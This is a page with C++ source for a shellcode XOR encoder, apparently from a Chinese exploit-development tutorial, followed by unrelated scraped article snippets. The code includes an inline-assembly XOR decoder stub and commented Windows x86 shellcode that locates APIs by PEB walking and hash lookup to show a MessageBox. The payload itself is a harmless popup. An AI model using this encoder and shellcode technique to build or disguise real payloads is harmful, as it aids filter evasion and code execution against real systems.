// Encoder.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>

void encoder(char* input ,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
output = (unsigned char *)malloc(len+1);
if (!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if (!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\""); //单引号
for (i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if ((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if (display_flag) //print to screen
{
for (i=0;i<len;i++)
{
printf("%0.2x",output[i]);
if ((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}

void decoder()
{
//==================解码器=================================================
__asm
{
add eax,0x14 //越过,记录Shellcode的起始地址
xor ecx,ecx //ecx寄存器清零
decode_loop:
mov bl,byte ptr[eax+ecx]
xor bl,0x44 //这里用0x44作为Key,如编码的Key改变,这里也要随之改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在Shellcode末尾放上一个字节的0x90作为结束符
jne decode_loop
}
//==================解码器END=================================================
}

char popup_general[]=
"\xFC" //cld
"\x68\x6A\x0A\x38\x1E" //push 1E380A6A
"\x68\x63\x89\xD1\x4F" //push 4FD18963
"\x68\x32\x74\x91\x0C" //push 0C917432
"\x8B\xF4" //mov esi,esp
"\x8D\x7E\xF4" //lea edi,dword ptr ds[esi-C]
"\x33\xDB" //xor ebx,ebx
"\xB7\x04" //mov bh,4
"\x2B\xE3" //sub esp,ebx
"\x66\xBB\x33\x32" //mov bx,3233
"\x53" //push ebx
"\x68\x75\x73\x65\x72" //push 72657375
"\x54" //push esp
"\x33\xD2" //xor edx,edx
"\x64\x8B\x5A\x30" //mov ebx,dword ptr fs[edx+30]
"\x8B\x4B\x0C" //mov ecx,dword ptr ds[ebx+C]
"\x8B\x49\x1C" //mov ecx,dword ptr ds[ecx+1C]
"\x8B\x09" //mov ecx,dword ptr ds[ecx]
"\x8B\x69\x08" //mov ebp,dword ptr ds[ecx+8]
"\xAD" //lods dword ptr ds[esi]
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\x05" //jnz short shellcod.0040D48C
"\x95" //xchg eax,ebp
"\xFF\x57\xF8" //call dword ptr ds[edi-8]
"\x95" //xchg eax,ebp
"\x60" //pushad
"\x8B\x45\x3C" //mov eax,[arg.14]
"\x8B\x4C\x05\x78" //mov ecx,dword ptr ss[ebp+eax+78]
"\x03\xCD" //add ecx,ebp
"\x8B\x59\x20" //mov ebx,dword ptr ds[ecx+20]
"\x03\xDD" //add ebx,ebp
"\x33\xFF" //xor edi,edi
"\x47" ///inc edi
"\x8B\x34\xBB" //|mov esi,dword ptr ds[ebx+edi*4]
"\x03\xF5" //|add esi,ebp
"\x99" //|cdq
"\x0F\xBE\x06" //|/movsx eax,byte ptr ds[esi]
"\x3A\xC4" //||cmp al,ah
"\x74\x08" //||je short shellcod.0040D4B3
"\xC1\xCA\x07" //||ror edx,7
"\x03\xD0" //||add edx,eax
"\x46" //||inc esi
"\xEB\xF1" //|\jmp short shellcod.0040D4A4
"\x3B\x54\x24\x1C" //|cmp edx,dword ptr ss[esp+1C]
"\x75\xE4" //\jnz short shellcod.0040D49D
"\x8B\x59\x24" //mov ebx,dword ptr ds[ecx+24]
"\x03\xDD" //add ebx,ebp
"\x66\x8B\x3C\x7B" //mov di,word ptr ds[ebx+edi*2]
"\x8B\x59\x1C" //mov ebx,dword ptr ds[ecx+1C]
"\x03\xDD" //add ebx,ebp
"\x03\x2C\xBB" //add ebp,dword ptr ds[ebx+edi*4]
"\x95" //xchg eax,ebp
"\x5F" //pop edi
"\xAB" //stos dword ptr es[edi]
"\x57" //push edi
"\x61" //popad
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\xA9" //jnz short shellcod.0040D47F
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x77\x65\x73\x74" //push 74736577
"\x68\x66\x61\x69\x6C" //push 6C696166
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
"\x53" //push ebx
"\xFF\x57\xFC" //call dword ptr ds[edi-4]
"\x53" //push ebx
"\xFF\x57\xF8"; //call dword ptr ds[edi-8] //nop

int main(int argc, char* argv[])
{
encoder(popup_general,0x44,1);
return 0;
}

shellcode加密与解密的更多相关文章

  1. ASP.NET加密和解密数据库连接字符串

    大家知道,在应用程序中进行数据库操作需要连接字符串,而如果没有连接字符串,我们就无法在应用程序中完成检索数据,创建数据等一系列的数据库操作.当有人想要获取你程序中的数据库信息,他首先看到的可能会是We ...

  2. 命令行工具aspnet_regiis.exe实现加密和解密web.config

    命令行工具aspnet_regiis.exe,是一个类似于DOS的命令工具,称之为命令解释器.使用命令行工具加密和解密web.config文件中的数据库连接字符串时,只需要简单的语法命令即可. 加密语 ...

  3. 使用EncryptByPassPhrase和DecryptByPassPhrase对MS SQLServer某一字段时行加密和解密

    在数据库实现加密与解密的文章,Insus.NET较早前也有写过,可以在本博客中可以搜索得到. 今天使用EncryptByPassPhrase和DecryptByPassPhrase来简单实现. 在数据 ...

  4. AES —— JAVA中对称加密和解密

    package demo.security; import java.io.IOException; import java.io.UnsupportedEncodingException; impo ...

  5. 通过ios实现RSA加密和解密

    在加密和解密中,我们需要了解的知识有什么事openssl:RSA加密算法的基本原理:如何通过openssl生成最后我们需要的der和p12文件. 废话不多说,直接写步骤: 第一步:openssl来生成 ...

  6. PHP 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密

    <?php /* 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密 */ // 加密 $algorithm = MCRY ...

  7. iOS,一行代码进行RSA、DES 、AES、MD5加密、解密

    本文为投稿文章,作者:Flying_Einstein(简书) 加密的Demo,欢迎下载 JAVA端的加密解密,读者可以看我同事的这篇文章:http://www.jianshu.com/p/98569e ...

  8. C# 利用SQLite对.DB和.logdb加密和解密和SQLite创建数据库

    1.最近研究了下利用SQLite为db文件简单的加密和解密 private static SQLiteConnection GetConnection() { SQLiteConnection con ...

  9. 如何对web.config进行加密和解密

    http://blog.csdn.net/jf_jifei/article/details/6527390 在WEB网站开发过程中,如果我们将数据库连接字符串封装到.DLL文件中,将会给数据库和程序的 ...

随机推荐

  1. PHP curl_multi_select函数

    curl_multi_select — 等待所有cURL批处理中的活动连接 说明 int curl_multi_select ( resource $mh [, float $timeout = 1. ...

  2. C#排列组合类,写彩票算法的朋友们可以来看一看

    public class PermutationAndCombination<T>    {        /// <summary>        /// 交换两个变量    ...

  3. paper 147:Deep Learning -- Face Data Augmentation(一)

    1. 在深度学习中,当数据量不够大时候,常常采用下面4中方法:  (1)人工增加训练集的大小. 通过平移, 翻转, 加噪声等方法从已有数据中创造出一批"新"的数据.也就是Data ...

  4. rocketmq集群、配置详解和常用命令

    集群原文地址: http://www.cnblogs.com/520playboy/p/6716235.html 常用命令原文地址: http://www.cnblogs.com/gmq-sh/p/6 ...

  5. MySQL 5.7免安装版设置编码格式、设置root用户密码 远程登录.

    一.设置默认编码格式为utf-8 ... 由于免安装版并没有my.ini的配置文件.需要自行粘贴配置并创建一个my.ini 配置如下: [mysql] # 设置mysql客户端默认字符集 defaul ...

  6. tarjam 模板改编

    思路要灵活 邻接表涉及数组问题,可以用vector代替

  7. 3.Jmeter 快速入门教程(三-1) --添加响应断言(即loadrunner中所指的检查点)

    上一节课,我们创建了一个测试场景,并进行了少量vuser的负载测试. 有时候我们执行了测试,但是发现并不是所有事务都执行成功了. 那是因为我们只是发起了测试,但并没有对每次请求测试的返回作校验. 所以 ...

  8. 关于char(M)和varchar(N)的区别

    1.int(10)的10表示显示的数据的长度,不是存储数据的大小:chart(10)和varchar(10)的10表示存储数据的大小,即表示存储多少个字符. int(10) 10位的数据长度 9999 ...

  9. Docker 容器使用

    Docker 客户端 docker 客户端非常简单 ,我们可以直接输入 docker 命令来查看到 Docker 客户端的所有命令选项. runoob@runoob:~# docker :~# doc ...

  10. 截取url参数

    //获得参数(只对字母数字等有效,参数值为中文则不能传) function getQueryString(name) { var reg = new RegExp("(^|&)&qu ...